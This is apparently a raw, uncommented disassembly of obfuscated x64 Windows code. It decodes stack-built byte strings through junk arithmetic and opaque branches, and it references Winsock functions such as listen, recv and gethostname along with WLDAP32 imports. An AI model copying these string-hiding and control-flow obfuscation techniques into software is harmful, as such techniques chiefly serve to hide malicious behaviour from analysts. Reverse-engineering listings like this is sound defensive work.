mov ecx, Ordinal_32
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
add sil, r11b
inc r10
dec rbx
inc rbx
jmp 0x1400bbe62
lea rax, [r10 + 8]
cmp r9, rax
jne 0x1400bc35b
lea edx, [r8 - 0x36]
movzx eax, dl
and al, r11b
mov ecx, 0x3d
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r11b
jmp 0x1400bc89b
lea rax, [r10 + 1]
cmp r9, rax
jne 0x1400bc611
lea ecx, [r8 - 0x29]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
add sil, 0x1f
jmp 0x1400bc89b
inc rax
cmp r9, rax
jne 0x1400bc63c
add r8b, 0x7b
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea esi, [r11 + r8]
sub sil, 0x5d
dec rbx
inc rbx
jmp 0x1400bbe62
lea rax, [r10 + 3]
cmp r9, rax
jne 0x1400bc662
add r8b, 0x1f
movzx eax, r11b
and al, r8b
add al, al
sub r11b, al
lea esi, [r8 + r11]
add sil, 0x27
jmp 0x1400bc91b
lea rax, [r10 + 5]
cmp r9, rax
jne 0x1400bc688
sub r8b, 0xf
movzx eax, r11b
and al, r8b
add al, al
sub r11b, al
lea esi, [r8 + r11]
add sil, 0x69
jmp 0x1400bc91e
lea rax, [r10 + 7]
cmp r9, rax
jne 0x1400bc312
sub r8b, 0x6b
movzx eax, r11b
and al, r8b
add al, al
movzx esi, r11b
sub sil, al
sub sil, 0x13
add sil, r8b
jmp 0x1400bc986
lea rax, [r10 + 1]
cmp r9, rax
jne 0x1400bc6ec
add r8b, 0x74
movzx eax, r11b
and al, r8b
add al, al
sub r11b, al
lea esi, [r8 + r11]
sub sil, 0x2c
movzx eax, byte [rbp + rbx + 0x268]
add rax, r10
add rbx, rax
inc rbx
jmp 0x1400bbe62
inc rax
cmp r9, rax
jne 0x1400bc714
add r8b, 0x46
movzx eax, r11b
and al, r8b
mov ecx, listen
sub cl, al
lea esi, [rcx + rcx]
add sil, r11b
add sil, r8b
jmp 0x1400bc986
lea rax, [r10 + 3]
cmp r9, rax
jne 0x1400bc73a
sub r8b, 0x44
movzx eax, r11b
and al, r8b
add al, al
sub r11b, al
lea esi, [r8 + r11]
sub sil, 0x24
jmp 0x1400bc91b
lea rax, [r10 + 5]
cmp r9, rax
jne 0x1400bc762
lea edx, [r8 - 0x72]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea esi, [rcx + rcx]
add sil, r11b
add sil, dl
jmp 0x1400bc8e2
lea rax, [r10 + 7]
cmp r9, rax
jne 0x1400bc791
add r8b, 0x60
movzx eax, r11b
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea esi, [rcx + rcx]
add sil, r11b
add sil, r8b
dec rbx
inc rbx
jmp 0x1400bbe62
lea rax, [r10 + 6]
cmp r9, rax
jne 0x1400bc2cf
lea edx, [r8 + 4]
movzx eax, r11b
and al, dl
add al, al
movzx esi, r11b
sub sil, al
sub sil, 0x1c
add sil, dl
jmp 0x1400bc89b
lea edx, [r8 - 0x58]
movzx eax, r11b
and al, dl
movzx ecx, r11b
sub cl, al
add cl, 0x34
lea esi, [rcx + rcx]
add sil, dl
jmp 0x1400bc8e2
lea edx, [r8 + 0x7a]
movzx eax, r11b
and al, dl
add al, al
movzx esi, r11b
sub sil, al
sub sil, r11b
sub sil, 0x56
add sil, dl
jmp 0x1400bc95a
dec r8b
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea esi, [r11 + r8]
add sil, 7
movzx eax, byte [rbp + rbx + 0x268]
add rax, r10
add rbx, rax
inc rbx
jmp 0x1400bbe62
sub r8b, 0x49
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea esi, [r11 + r8]
dec sil
jmp 0x1400bc91b
add r8b, 0x13
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea esi, [r11 + r8]
add sil, 0x7b
dec rbx
inc rbx
jmp 0x1400bbe62
lea ecx, [r8 + 0x6f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
sub sil, 9
jmp 0x1400bc89b
movzx r8d, bl
lea ecx, [r8 - 0x35]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
add sil, 0x73
add r8b, 0x3f
movzx eax, r11b
and al, r8b
add al, al
sub r11b, al
add r11b, 0x47
add r11b, r8b
mov byte [rbp + rbx + 0x268], r11b
inc r10
dec rbx
inc rbx
jmp 0x1400bbe62
movzx r8d, bl
lea ecx, [r8 + 0x55]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
sub sil, 0x53
add r8b, 0x11
movzx eax, r11b
and al, r8b
add al, al
sub r11b, al
sub r11b, 0x77
add r11b, sil
add r11b, r8b
mov byte [rbp + rbx + 0x268], r11b
jmp 0x1400bc91b
lea ecx, [rbx - 0x7d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
add sil, 0x6b
add r9, r10
movzx eax, sil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400bbe62
movabs rcx, 0x11fdbb3f4288d9df
add rcx, rbx
and dl, cl
add dl, dl
movzx esi, r11b
sub sil, dl
sub sil, 0x19
add sil, cl
movzx r8d, bl
sub r8b, 0x1d
movzx eax, r11b
and al, r8b
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x35
add cl, r8b
movzx eax, cl
mov byte [rbp + rbx + 0x268], al
inc r10
add rax, r10
sub rbx, rax
lea ecx, [rbx + 0x4c]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x14
add r11b, cl
mov byte [rbp + rbx + 0x268], r11b
inc r9
mov rax, 0xffffffffffffffff
sub rax, r9
add rbx, rax
movzx eax, byte [rbp + rbx + 0x268]
add rax, r10
add rbx, rax
inc rbx
jmp 0x1400bbe62
movabs rax, 0xe32399644116143b
add rax, rbx
and dl, al
add dl, dl
sub r11b, dl
lea esi, [rax + r11]
add sil, 0x63
movzx eax, byte [rbp + rbx + 0x268]
add rax, r10
add rbx, rax
inc rbx
jmp 0x1400bbe62
sub r8b, 0x73
movzx eax, r11b
and al, r8b
add al, al
sub r11b, al
lea esi, [r8 + r11]
add sil, 0x25
jmp 0x1400bbe60
sub r8b, 0x45
movzx eax, r11b
and al, r8b
add al, al
sub r11b, al
lea esi, [r8 + r11]
sub sil, 0x1d
jmp 0x1400bbe50
lea rdx, [rbp + 0x14734f4]
jmp 0x1400bca4e
lea rdx, [rbp + 0xe3e65d]
jmp 0x1400bca4e
lea rdx, [rbp + 0x268]
mov rcx, qword [0x1402cdd78]
call fcn.14011d920
test al, al
jne 0x1400be2e1
mov byte [rbp + 0x4e0], 0xbd
mov byte [rbp + 0x4e1], Ordinal_200
mov byte [rbp + 0x4e2], 0xb3
mov byte [rbp + 0x4e3], 0xad
mov byte [rbp + 0x4e4], Ordinal_217
mov byte [rbp + 0x4e5], Ordinal_211
mov byte [rbp + 0x4e6], 0x68
mov byte [rbp + 0x4e7], 0xdb
mov byte [rbp + 0x4e8], 0xdf
mov byte [rbp + 0x4e9], WSASetLastError
mov byte [rbp + 0x4ea], Ordinal_217
mov byte [rbp + 0x4eb], 0xdc
mov byte [rbp + 0x4ec], Ordinal_211
mov byte [rbp + 0x4ed], 0xa5
mov byte [rbp + 0x4ee], 0x60
mov byte [rbp + 0x4ef], Ordinal_217
mov byte [rbp + 0x4f0], Ordinal_211
mov byte [rbp + 0x4f1], Ordinal_217
mov byte [rbp + 0x4f2], 0xa1
mov byte [rbp + 0x4f3], 0xe0
mov byte [rbp + 0x4f4], 0xef
mov byte [rbp + 0x4f5], 0xec
mov byte [rbp + 0x4f6], 0x5f
mov byte [rbp + 0x4f7], 0x5f
mov byte [rbp + 0x4f8], 0xa6
mov byte [rbp + 0x4f9], __WSAFDIsSet
mov byte [rbp + 0x4fa], 0x9b
mov byte [rbp + 0x4fb], 0xec
mov byte [rbp + 0x4fc], 0xe6
mov byte [rbp + 0x4fd], 0xee
mov byte [rbp + 0x4fe], 0xe2
mov byte [rbp + 0x4ff], 0xee
mov byte [rbp + 0x500], 0x56
mov byte [rbp + 0x501], 0xa0
mov byte [rbp + 0x502], 0x54
mov byte [rbp + 0x503], 0xfe
mov byte [rbp + 0x504], 0xf1
mov byte [rbp + 0x505], Ordinal_143
mov byte [rbp + 0x506], 0xf9
mov byte [rbp + 0x507], 0xfd
mov byte [rbp + 0x508], Ordinal_143
mov byte [rbp + 0x509], 0xf8
mov byte [rbp + 0x50a], 0xb3
mov byte [rbp + 0x50b], 0x5d
mov byte [rbp + 0x50c], 0x62
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x50d], xmm0
mov dword [rbp + 0x51d], eax
mov word [rbp + 0x521], ax
nop word [rax + rax]
mov r9, qword [0x1402cdf20]
mov r10, qword [0x1402cdf18]
nop
xor ebx, ebx
cmp rbx, 0x43
jae 0x1400bd73a
movzx r11d, byte [rbp + rbx + 0x4e0]
mov edx, r11d
nop dword [rax + rax]
cmp r9, rbx
ja 0x1400bd731
lea rax, [r10 + 1]
cmp r9, rax
jae 0x1400bcc1a
lea r14, [rbx + r12]
movzx eax, dl
and al, r14b
add al, al
sub r14b, al
add r14b, 0x25
add r14b, r11b
jmp 0x1400bcc3a
je 0x1400bd6bc
lea rax, [r10 + 3]
cmp r9, rax
je 0x1400bd632
lea rax, [r10 + 5]
cmp r9, rax
je 0x1400bd5da
movzx r8d, bl
nop
cmp r10, rbx
ja 0x1400bd728
lea rax, [r10 + 5]
cmp r9, rax
jae 0x1400bcc6a
lea ecx, [r8 - 0x6f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
add r14b, 9
jmp 0x1400bcca0
lea rax, [r10 + 1]
cmp r9, rax
je 0x1400bd597
inc rax
cmp r9, rax
je 0x1400bd574
lea rax, [r10 + 2]
cmp r9, rax
je 0x1400bd559
lea rax, [r10 + 3]
cmp r9, rax
je 0x1400bd52b
nop dword [rax]
lea rax, [r10 + r9]
cmp rax, rbx
jbe 0x1400bd21e
nop dword [rax]
lea rax, [r10 + 0x2a]
cmp r9, rax
je 0x1400bd203
lea rax, [r10 + 8]
cmp r9, rax
je 0x1400bd1d9
lea rax, [r10 + 0x42]
cmp r9, rax
je 0x1400bd1b2
lea rcx, [r10 + 0x61]
cmp r9, rcx
je 0x1400bd197
lea rax, [r10 + 3]
cmp r9, rax
je 0x1400bd176
lea rax, [r10 + 0x10]
cmp r9, rax
je 0x1400bd155
lea rax, [r10 + 1]
cmp r9, rax
je 0x1400bd13a
lea rax, [r10 + 9]
cmp r9, rax
je 0x1400bd11d
lea rax, [r10 + 0x64]
cmp r9, rax
je 0x1400bd0eb
lea rax, [r10 + 0x7a]
cmp r9, rax
je 0x1400bccb0
mov r9, rcx
lea r10, [rcx + 4]
lea rax, [r10 + 0x28]
cmp rcx, rax
jb 0x1400bd70b
lea rax, [r10 + 0x400]
cmp rcx, rax
jb 0x1400bd6ee
lea rax, [r10 + 1]
cmp rcx, rax
jb 0x1400bce8d
lea rcx, [r10 + 9]
cmp r9, rcx
jb 0x1400bce72
lea rax, [r10 + 0x64]
cmp r9, rax
jb 0x1400bce57
lea rax, [r10 + 0x7a]
cmp r9, rax
jb 0x1400bd09f
lea rax, [r10 + 4]
cmp r9, rax
jb 0x1400bd040
lea rax, [r10 + 0x1000]
cmp r9, rax
jb 0x1400bd003
lea rax, [r10 + 2]
cmp r9, rax
jb 0x1400bcfdb
lea rax, [r10 + 0xa]
cmp r9, rax
jb 0x1400bccb0
mov r9, rcx
lea r10, [rcx + 0x80]
lea rax, [r10 + 0x5a]
cmp rcx, rax
ja 0x1400bcfad
lea rax, [r10 + 6]
cmp rcx, rax
ja 0x1400bcf8c
lea rax, [r10 + 0x40]
cmp rcx, rax
ja 0x1400bcf71
lea rcx, [r10 + 0x1000]
cmp r9, rcx
ja 0x1400bcf54
lea rax, [r10 + 2]
cmp r9, rax
ja 0x1400bcf33
lea rax, [r10 + 0xa]
cmp r9, rax
ja 0x1400bcf13
lea rax, [r10 + 0x80]
cmp r9, rax
ja 0x1400bcef0
lea rax, [r10 + 8]
cmp r9, rax
ja 0x1400bceca
lea rax, [r10 + 0x42]
cmp r9, rax
ja 0x1400bceaa
lea rax, [r10 + 0x61]
cmp r9, rax
ja 0x1400bccb0
mov r9, rcx
lea r10, [rcx + 3]
jmp 0x1400bccb0
lea ecx, [r8 - 0x71]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
add r14b, 0x17
jmp 0x1400bcca0
lea ecx, [r8 + 0x75]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
sub r14b, 0x33
jmp 0x1400bcc40
add r8b, 0x5b
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r14d, [r11 + r8]
sub r14b, 0x7d
jmp 0x1400bcbf0
lea edx, [r8 - 0x78]
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r11b
jmp 0x1400bd5ad
add r8b, 0x6e
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r14d, [r11 + r8]
sub r14b, 2
inc r10
dec rbx
inc rbx
jmp 0x1400bcbd2
add r8b, 0x54
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r14d, [r11 + r8]
sub r14b, 0x4c
dec rbx
inc rbx
jmp 0x1400bcbd2
lea edx, [r8 + 0x3a]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r11b
jmp 0x1400bd5f4
add r8b, 0x20
movzx eax, r8b
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r8b
add r14b, r11b
jmp 0x1400bd616
add r8b, 6
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r14d, [r11 + r8]
sub r14b, 0x2a
jmp 0x1400bd619
lea ecx, [r8 - 0x14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
sub r14b, 0x74
jmp 0x1400bd651
sub r8b, 0x2e
movzx eax, r8b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r8b
add r14b, r11b
jmp 0x1400bd67c
sub r8b, 0x48
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r14d, [r11 + r8]
sub r14b, 8
movzx eax, byte [rbp + rbx + 0x4e0]
add rax, r10
add rbx, rax
inc rbx
jmp 0x1400bcbd2
sub r8b, 9
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r14d, [r11 + r8]
add r14b, 0x3f
mov byte [rbp + rbx + 0x4e0], r14b
inc rbx
jmp 0x1400bcbd2
lea ecx, [r8 - 0x23]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
sub r14b, 0xb
cmp r10, 0x40
jb 0x1400bcff3
lea ecx, [r8 + 0x2e]
movzx eax, cl
and al, r11b
mov edx, Ordinal_32
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r14d, [rdx + rdx]
jmp 0x1400bd5ad
lea ecx, [r8 - 0x3d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
sub r14b, 0x55
cmp r9, 1
jae 0x1400bd4ef
lea rax, [r10 + 1]
cmp r9, rax
jne 0x1400bd41f
add r8b, 0x44
movzx eax, r8b
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r8b
add r14b, r11b
movzx eax, byte [rbp + rbx + 0x4e0]
add rax, r10
add rbx, rax
inc rbx
jmp 0x1400bcbd2
lea ecx, [r8 - 0x57]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
add r14b, 0x61
lea rax, [r10 + r9]
cmp rax, 0x42
je 0x1400bd50e
lea rax, [r10 + 0x7a]
cmp r9, rax
jbe 0x1400bd324
lea ecx, [r8 - 0x67]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
sub r14b, 0x2f
jmp 0x1400bd056
add r8b, 0x66
movzx eax, r8b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r8b
add r14b, r11b
movzx eax, byte [rbp + rbx + 0x4e0]
add rax, r10
add rbx, rax
inc rbx
jmp 0x1400bcbd2
add r8b, 0x4c
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r14d, [r11 + r8]
sub r14b, 0x14
jmp 0x1400bd67c
lea ecx, [r8 + 0x32]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
sub r14b, 0x5e
jmp 0x1400bd651
add r8b, 0x18
movzx eax, r8b
and al, r11b
mov ecx, Ordinal_46
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r8b
add r14b, r11b
jmp 0x1400bd619
sub r8b, 2
movzx eax, r8b
and al, r11b
mov ecx, 7
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r8b
add r14b, r11b
jmp 0x1400bd616
lea ecx, [r8 - 0x1c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
sub r14b, 0x3c
jmp 0x1400bd5f4
sub r8b, 0x36
movzx eax, r8b
and al, r11b
mov ecx, 0x3d
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r8b
add r14b, r11b
dec rbx
inc rbx
jmp 0x1400bcbd2
sub r8b, 0x50
movzx eax, r8b
and al, r11b
mov ecx, Ordinal_27
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r8b
add r14b, r11b
inc r10
dec rbx
inc rbx
jmp 0x1400bcbd2
lea ecx, [r8 - 0x6a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
sub r14b, 0x1a
jmp 0x1400bd5ad
lea rax, [r10 + 0xa]
cmp r9, rax
jae 0x1400bd242
lea ecx, [r8 - 0x73]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
add r14b, 0x25
jmp 0x1400bd0b5
lea rax, [r10 + 1]
cmp r9, rax
jne 0x1400bd27d
add r8b, 0x22
movzx eax, r8b
and al, r11b
mov ecx, 9
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r8b
add r14b, r11b
movzx eax, byte [rbp + rbx + 0x4e0]
add rax, r10
add rbx, rax
inc rbx
jmp 0x1400bcbd2
lea rax, [r10 + 2]
cmp r9, rax
jne 0x1400bd2a7
sub r8b, 0x76
movzx eax, r8b
and al, r11b
mov ecx, Ordinal_32
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r8b
add r14b, r11b
jmp 0x1400bd616
lea rax, [r10 + 3]
cmp r9, rax
jne 0x1400bd2cb
lea ecx, [r8 - 0x5c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
sub r14b, 0x7c
jmp 0x1400bd5f4
lea rax, [r10 + 7]
cmp r9, rax
jne 0x1400bd2f7
sub r8b, 0x42
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r14d, [r11 + r8]
sub r14b, 0x32
dec rbx
inc rbx
jmp 0x1400bcbd2
lea rax, [r10 + 9]
cmp r9, rax
jne 0x1400bd0b5
lea edx, [r8 - 0xe]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r11b
jmp 0x1400bd5ad
lea rax, [r10 + 1]
cmp r9, rax
jne 0x1400bd348
lea ecx, [r8 - 0x4d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
add r14b, 0x1b
jmp 0x1400bd5ad
lea rax, [r10 + 2]
cmp r9, rax
jne 0x1400bd374
sub r8b, 0x19
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r14d, [r11 + r8]
sub r14b, 0x51
dec rbx
inc rbx
jmp 0x1400bcbd2
lea rax, [r10 + 3]
cmp r9, rax
jne 0x1400bd398
lea ecx, [r8 + 1]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
sub r14b, 7
jmp 0x1400bd5f4
lea rax, [r10 + 4]
cmp r9, rax
jne 0x1400bd3be
add r8b, 0x1b
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r14d, [r11 + r8]
add r14b, 0x43
jmp 0x1400bd616
lea rax, [r10 + 6]
cmp r9, rax
jne 0x1400bd3e4
add r8b, 0x35
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r14d, [r11 + r8]
sub r14b, 0x73
jmp 0x1400bd619
lea rax, [r10 + 8]
cmp r9, rax
jne 0x1400bd056
sub r8b, 0x7d
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r14d, [r11 + r8]
add r14b, 0x6b
movzx eax, byte [rbp + rbx + 0x4e0]
add rax, r10
add rbx, rax
inc rbx
jmp 0x1400bcbd2
inc rax
cmp r9, rax
jne 0x1400bd448
add r8b, 0x5e
movzx eax, r8b
and al, r11b
mov ecx, gethostname
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r8b
add r14b, r11b
jmp 0x1400bd67c
lea rax, [r10 + 3]
cmp r9, rax
jne 0x1400bd46c
lea ecx, [r8 + 0x78]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
sub r14b, 0x48
jmp 0x1400bd651
lea rax, [r10 + 5]
cmp r9, rax
jne 0x1400bd496
sub r8b, 0x54
movzx eax, r8b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r8b
add r14b, r11b
jmp 0x1400bd616
lea rax, [r10 + 2]
cmp r9, rax
jne 0x1400bd4c2
sub r8b, 0x20
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r14d, [r11 + r8]
sub r14b, 0x20
dec rbx
inc rbx
jmp 0x1400bcbd2
lea rax, [r10 + 7]
cmp r9, rax
jne 0x1400bd019
lea edx, [r8 + 0x14]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r11b
jmp 0x1400bd5ad
lea edx, [r8 + 0x48]
movzx eax, dl
and al, r11b
movzx ecx, r11b
sub cl, al
add cl, 4
lea r14d, [rcx + rcx]
add r14b, dl
jmp 0x1400bd5f4
lea edx, [r8 + 0x62]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
jmp 0x1400bd651
add r8b, 0x7b
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r14d, [r11 + r8]
sub r14b, 0x5d
movzx eax, byte [rbp + rbx + 0x4e0]
add rax, r10
add rbx, rax
inc rbx
jmp 0x1400bcbd2
lea ecx, [r8 + 0x47]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
add r14b, 0xf
jmp 0x1400bd651
sub r8b, 0x21
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r14d, [r11 + r8]
sub r14b, 0x19
dec rbx
inc rbx
jmp 0x1400bcbd2
lea ecx, [r8 - 0x55]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
add r14b, 0x53
sub r8b, 0x45
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
sub r8b, 0x1d
add r8b, r11b
mov byte [rbp + rbx + 0x4e0], r8b
inc r10
dec rbx
inc rbx
jmp 0x1400bcbd2
movzx r8d, bl
lea ecx, [r8 + 0x29]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
sub r14b, 0x1f
sub r8b, 0x2b
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
add r8b, 0x2d
add r8b, r14b
add r8b, r11b
mov byte [rbp + rbx + 0x4e0], r8b
add r9, r10
movzx eax, r14b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400bcbd2
movabs rax, 0xfdf30a4009d68fdb
add rax, rbx
and dl, al
add dl, dl
sub al, dl
lea r14d, [r11 + rax]
add r14b, 3
movzx r8d, bl
sub r8b, 0x11
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
add r8b, 0x77
add r8b, r11b
movzx eax, r8b
mov byte [rbp + rbx + 0x4e0], al
inc r10
add rax, r10
sub rbx, rax
lea ecx, [rbx + 0x7c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x64
add cl, r11b
mov byte [rbp + rbx + 0x4e0], cl
inc r9
mov rax, 0xffffffffffffffff
sub rax, r9
add rbx, rax
movzx eax, byte [rbp + rbx + 0x4e0]
add rax, r10
add rbx, rax
inc rbx
jmp 0x1400bcbd2
movabs rax, 0xb5fa721b71ee3da7
add rax, rbx
and dl, al
add dl, dl
sub r11b, dl
lea r14d, [rax + r11]
add r14b, 0x6f
movzx eax, byte [rbp + rbx + 0x4e0]
add rax, r10
add rbx, rax
inc rbx
jmp 0x1400bcbd2
add r8b, 0x41
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r14d, [r11 + r8]
add r14b, 0x39
jmp 0x1400bcbd0
add r8b, 0x27
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea r14d, [r11 + r8]
sub r14b, 0x11
jmp 0x1400bcbc0
lea rdx, [rbp + 0x145d39c]
jmp 0x1400bd741
lea rdx, [rbp + 0x17fe829]
jmp 0x1400bd741
lea rdx, [rbp + 0x4e0]
mov rcx, qword [0x1402cdcd0]
call fcn.140059ac0
mov byte [rbp + 0xf8], 0xf4
mov byte [rbp + 0xf9], 0x9a
mov byte [rbp + 0xfa], Ordinal_143
mov byte [rbp + 0xfb], Ordinal_143
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xfc], xmm0
mov qword [rbp + 0x10c], rax
mov dword [rbp + 0x114], eax
mov byte [rbp + 0x118], al
nop dword [rax + rax]
mov r9, qword [0x1402cdf20]
mov r10, qword [0x1402cdf18]
nop
xor ebx, ebx
cmp rbx, 0x21
jae 0x1400be2b8
movzx r11d, byte [rbp + rbx + 0xf8]
mov edx, r11d
nop dword [rax + rax]
cmp r9, rbx
ja 0x1400be2b0
lea rax, [r10 + 1]
cmp r9, rax
jae 0x1400bd7ed
lea rcx, [rbx + r13]
movzx eax, dl
and al, cl
add al, al
movzx edi, r11b
sub dil, al
sub dil, 0x66
add dil, cl
jmp 0x1400bd834
je 0x1400be237
lea rax, [r10 + 3]
cmp r9, rax
je 0x1400be1a4
lea rax, [r10 + 5]
cmp r9, rax
je 0x1400be173
lea rax, [r10 + 7]
cmp r9, rax
je 0x1400be14f
lea rax, [r10 + 2]
cmp r9, rax
je 0x1400be128
lea rax, [r10 + 8]
cmp r9, rax
je 0x1400be0dd
movzx r8d, bl
nop dword [rax + rax]
cmp r10, rbx
ja 0x1400be2a8
lea rax, [r10 + 0x5a]
cmp r9, rax
jae 0x1400bd86b
lea edi, [r8 + 0x32]
movzx eax, dil
and al, r11b
add al, al
sub dil, al
sub dil, 0x5e
add dil, r11b
jmp 0x1400bd892
lea rax, [r10 + 1]
cmp r9, rax
je 0x1400be0c5
lea rax, [r10 + 5]
cmp r9, rax
je 0x1400be0a8
lea rax, [r10 + 2]
cmp r9, rax
je 0x1400be088
lea rax, [r10 + r9]
cmp rax, rbx
jbe 0x1400bddd1
nop
lea rax, [r10 + 0x400]
cmp r9, rax
je 0x1400bddc3
lea rax, [r10 + 0x5a]
cmp r9, rax
je 0x1400bdd9a
lea rax, [r10 + 0x1000]
cmp r9, rax
je 0x1400bdd77
lea rax, [r10 + 0x2a]
cmp r9, rax
je 0x1400bdd5c
lea rax, [r10 + 5]
cmp r9, rax
je 0x1400bdd3f
lea rax, [r10 + 0x10]
cmp r9, rax
je 0x1400bdd1f
lea rax, [r10 + 0x64]
cmp r9, rax
je 0x1400bdd03
lea rcx, [r10 + 0x20]
cmp r9, rcx
je 0x1400bdce6
lea rax, [r10 + 0x80]
cmp r9, rax
je 0x1400bdcb8
lea rax, [r10 + 0x61]
cmp r9, rax
je 0x1400bd8a0
mov r9, rcx
lea r10, [rcx + 1]
lea rax, [r10 + 0x80]
cmp rcx, rax
jb 0x1400be28b
lea rax, [r10 + 0x28]
cmp rcx, rax
jb 0x1400be26b
lea rax, [r10 + 0x200]
cmp rcx, rax
jb 0x1400bda8b
lea rax, [r10 + 0x7a]
cmp rcx, rax
jb 0x1400bda6b
lea rax, [r10 + 2]
cmp rcx, rax
jb 0x1400bda4f
lea rax, [r10 + 0x41]
cmp rcx, rax
jb 0x1400bdc6f
lea rax, [r10 + 3]
cmp rcx, rax
jb 0x1400bdc2d
lea rax, [r10 + 9]
cmp rcx, rax
jb 0x1400bdbef
lea rax, [r10 + 0x40]
cmp rcx, rax
jb 0x1400bdbc4
lea rax, [r10 + 0xa]
cmp rcx, rax
jb 0x1400bd8a0
lea r9, [r10 + 0x5a]
lea r10, [r9 + 0x42]
lea rax, [r10 + 4]
cmp r9, rax
ja 0x1400bdb93
lea rax, [r10 + 0xa]
cmp r9, rax
ja 0x1400bdb76
lea rax, [r10 + 0x42]
cmp r9, rax
ja 0x1400bdb5b
lea rax, [r10 + 0x10]
cmp r9, rax
ja 0x1400bdb3b
